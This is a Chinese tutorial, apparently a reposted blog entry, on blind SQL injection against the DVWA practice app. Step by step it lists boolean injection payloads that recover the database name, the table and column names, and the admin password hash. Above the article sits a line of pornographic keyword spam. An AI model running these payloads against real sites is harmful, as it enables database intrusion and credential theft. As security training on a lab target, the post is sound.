日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

DVWA——SQL盲注(全等级)

發布時間:2023/12/10 数据库 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA——SQL盲注(全等级) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 原理
  • 一、LOW
    • 1.判斷注入類型
    • 2.確定數據庫名字的長度
    • 3.確定數據庫名字
    • 4.確定dvwa數據庫中表的數量
    • 5.確定dvwa數據庫中表名的長度
    • 6.確定dvwa數據庫中表的名字
    • 7.確定users表中的字段數目
    • 8.確定users表中的8個字段長度
    • 9.確定users表中的8個字段名字
    • 10.獲取user和password的字段值
  • 二、Medium
  • 三、High


原理

SQL盲注與一般注入的區別在于:一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知。一般有兩種方式:布爾型和時間型。還有一種是報錯注入,本章主要介紹布爾盲注。

布爾型是根據頁面是否正確顯示來判斷我們構造的語句是否正確執行

時間型則是根據頁面加載時間是否變化來判斷的。

SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。


一、LOW

1.判斷注入類型

輸入1,顯示存在

輸入1 and 1=1,顯示存在

輸入1 and 1=2,也顯示存在,由此說明不是數字型注入

輸入1’ and 1=1#,顯示存在

輸入1’ and 1=3#,顯示不存在,由此發現應該是字符型漏洞

輸入1" and 1=1#,顯示存在

輸入1" and 1=3#,也顯示存在,說明不是雙引號注入

只有真假兩種情況下回顯不一樣才能判別。

綜上可以看出是字符串單引號注入

2.確定數據庫名字的長度

輸入語句顯示結果
1’ and length(database())=1 #不存在
1’ and length(database())<5 #存在,說明數據庫名字長度是小于5的
1’ and length(database())=4 #存在,說明數據庫名字長度為4

3.確定數據庫名字

ASCII查詢對照表:http://ascii.911cha.com/

猜測數據庫名的第一個字符ASCII的取值范圍

由于是DVWA靶場,所以合理猜測數據庫名為dvwa(如果是其他場景下,需要不斷修改數值,縮小取值范圍,最終確定一個取值)

輸入語句顯示結果
1’ and ascii(substr(database(),1,1))>97#顯示存在,說明第一個字符是一個小寫字母且不是a。
1’ and ascii(substr(database(),1,1))=100#顯示存在,說明第一個是d
1’ and ascii(substr(database(),2,1))=118#顯示存在,說明第二個是v
1’ and ascii(substr(database(),3,1))=119#顯示存在,說明第三個是w
1’ and ascii(substr(database(),4,1))=97#顯示存在,說明第四個是a

綜上,數據庫的名字可以確定為dvwa。

4.確定dvwa數據庫中表的數量

輸入語句顯示結果
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1#不存在
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2#不存在,說明表的數量是2
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #存在,猜想驗證成功

5.確定dvwa數據庫中表名的長度

輸入語句分布解析:

1.查詢列出當前連接數據庫下的所有表名稱
select table_name from information_schema.tables where table_schema=database()

2.列出當前連接數據庫中的第1個表名稱
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 結果編號(從0開始),返回結果數量

3.計算當前連接數據庫第1個表名的字符串長度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4.將當前連接數據庫第1個表名稱長度與某個值比較作為判斷條件,聯合and邏輯構造特定的sql語句進行查詢,根據查詢返回結果猜解表名稱的長度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

輸入語句顯示結果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#不存在
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#存在,說明dvwa第一個表長度為9
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#存在,驗證成功

同理可以對第二個表的長度進行猜測:

輸入語句顯示結果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#存在,dvwa第二個表長度為5

6.確定dvwa數據庫中表的名字

與確定數據庫名字類似,用到ascii()和substr()兩個函數。

substr(str,1,1):從str的第一個字符開始,截取長度1 == 取str的第一個字符

limit 0,1:0-查詢結果的第一個;1-返回一條查詢結果。 eg: limit 3,5 就是返回第4-8條數據。

輸入語句顯示結果
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#顯示存在,第一個表的第一個字符是g,以此類推可以確定第一個表的名字是guestbook。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#存在,第二個表的第一個字符是u,以此類推可以確定第二個表的名字是users

7.確定users表中的字段數目

輸入語句顯示結果
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4#存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9#不存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7#存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#存在所以users表中有8個字段

8.確定users表中的8個字段長度

輸入語句顯示結果
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10#不存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6#存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8#不存在
輸入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7#存在說明users表的第一個字段長度為7

同理可以獲取其他7個字段的長度

9.確定users表中的8個字段名字

由于表中的字段數目比較多,長度比較長,如果采用之前的按字符猜測,會很耗時間。根據我們的需要,判斷users表中是否含有用戶名和密碼字段即可。

根據經驗猜測用戶名和密碼的字段名字如下:

用戶名:username/user_name/uname/u_name/user/…

密碼:password/pass_word/pwd/pass/…

  • 猜用戶名

    1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #

    顯示不存在,更換字段名再嘗試,發現user顯示存在

  • 猜密碼

    1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

    顯示存在

綜上可知,users表中的用戶名和密碼字段分別為userpassword

10.獲取user和password的字段值

password在存儲的時候進行了MD5加密。

同樣先進行猜測碰撞,如果不行再逐個篩選。

1' and (select count(*) from users where user='admin')=1 #

顯示存在

1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #

顯示存在

綜上可知一組用戶名-密碼:admin-password。

二、Medium

步驟和LOW相似,不過變成數字型注入,需要去掉1后面的單引號。

使用burpsuite抓包,修改id的值為注入語句即可。

同時medium在源代碼中對特殊符號進行了轉義處理,對于帶有引號的字符串轉換成16進制進行繞過。

三、High

high級別會另外開啟一個頁面,步驟類似


參考文獻:
DVWA全等級SQL Injection(Blind)盲注–手工測試過程解析

總結

以上是生活随笔為你收集整理的DVWA——SQL盲注(全等级)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。